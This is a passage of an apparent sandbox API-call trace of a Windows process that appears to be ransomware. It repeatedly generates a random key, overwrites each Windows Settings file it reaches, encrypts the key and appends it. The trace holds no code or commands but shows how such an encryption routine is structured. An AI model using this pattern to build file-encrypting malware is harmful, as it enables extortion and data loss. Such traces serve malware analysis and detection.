hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x50b [0196.917] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.917] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.917] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.917] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.918] CloseHandle (hObject=0x1c24) returned 1 [0196.920] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0196.920] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0196.920] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Misc_RollbackYourPC_PreviewBuild.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.920] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x523, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x523, lpOverlapped=0x0) returned 1 [0196.929] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1315, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.929] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x523, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x523, lpOverlapped=0x0) returned 1 [0196.930] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x523 [0196.930] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.930] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.930] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.930] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.931] CloseHandle (hObject=0x1c24) returned 1 [0196.933] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0196.933] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0196.933] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Misc_ResetYourPC.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.933] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4c4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4c4, lpOverlapped=0x0) returned 1 [0196.938] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1220, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.938] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4c4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4c4, lpOverlapped=0x0) returned 1 [0196.939] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4c4 [0196.939] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.939] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.939] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.940] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.940] CloseHandle (hObject=0x1c24) returned 1 [0196.942] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0196.942] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0196.942] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Maps_Download_Add_Package.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.943] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x4df, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4df, lpOverlapped=0x0) returned 1 [0196.953] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1247, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.953] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4df, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4df, lpOverlapped=0x0) returned 1 [0196.953] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4df [0196.953] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.954] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.954] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.954] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.954] CloseHandle (hObject=0x1c24) returned 1 [0196.956] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0196.956] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0196.956] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Maps_DeleteAll.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.957] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6ac0, nNumberOfBytesToRead=0x4a8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6ac0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4a8, lpOverlapped=0x0) returned 1 [0196.958] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.958] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4a8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4a8, lpOverlapped=0x0) returned 1 [0196.959] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4a8 [0196.959] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.959] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.959] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.959] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.960] CloseHandle (hObject=0x1c24) returned 1 [0196.964] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0196.964] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.964] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Language_Web_Content_Control.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.964] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x4f2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x4f2, lpOverlapped=0x0) returned 1 [0196.971] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1266, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.971] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x4f2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4f2, lpOverlapped=0x0) returned 1 [0196.972] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4f2 [0196.972] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.972] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.972] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.973] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.973] CloseHandle (hObject=0x1c24) returned 1 [0196.974] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0196.974] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0196.974] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Language_Personal_Data_Control.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.975] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x4fc, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x4fc, lpOverlapped=0x0) returned 1 [0196.986] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.986] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x4fc, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4fc, lpOverlapped=0x0) returned 1 [0196.986] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4fc [0196.986] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.986] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.987] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.987] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.987] CloseHandle (hObject=0x1c24) returned 1 [0196.989] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0196.989] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0196.989] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Language_Installed_Profiles_Collection.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.989] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x533, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x533, lpOverlapped=0x0) returned 1 [0197.014] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1331, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.014] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x533, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x533, lpOverlapped=0x0) returned 1 [0197.015] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x533 [0197.015] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.015] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.015] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.016] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.016] CloseHandle (hObject=0x1c24) returned 1 [0197.018] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0197.018] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.018] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Language_Add_Profile.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.018] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4d9, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4d9, lpOverlapped=0x0) returned 1 [0197.048] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1241, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.048] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4d9, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4d9, lpOverlapped=0x0) returned 1 [0197.048] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4d9 [0197.048] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.048] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.049] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.049] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.049] CloseHandle (hObject=0x1c24) returned 1 [0197.058] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0197.058] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0197.058] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Keyboard_IsTextPredictionEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.059] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x519, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x519, lpOverlapped=0x0) returned 1 [0197.064] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1305, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.065] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x519, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x519, lpOverlapped=0x0) returned 1 [0197.065] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x519 [0197.065] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.065] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.066] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.066] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.066] CloseHandle (hObject=0x1c24) returned 1 [0197.084] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0197.084] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.084] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Keyboard_IsSpellcheckingEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.086] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x510, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x510, lpOverlapped=0x0) returned 1 [0197.088] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1296, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.088] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x510, lpOverlapped=0x0) returned 1 [0197.089] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x510 [0197.089] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.089] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.089] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.090] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: 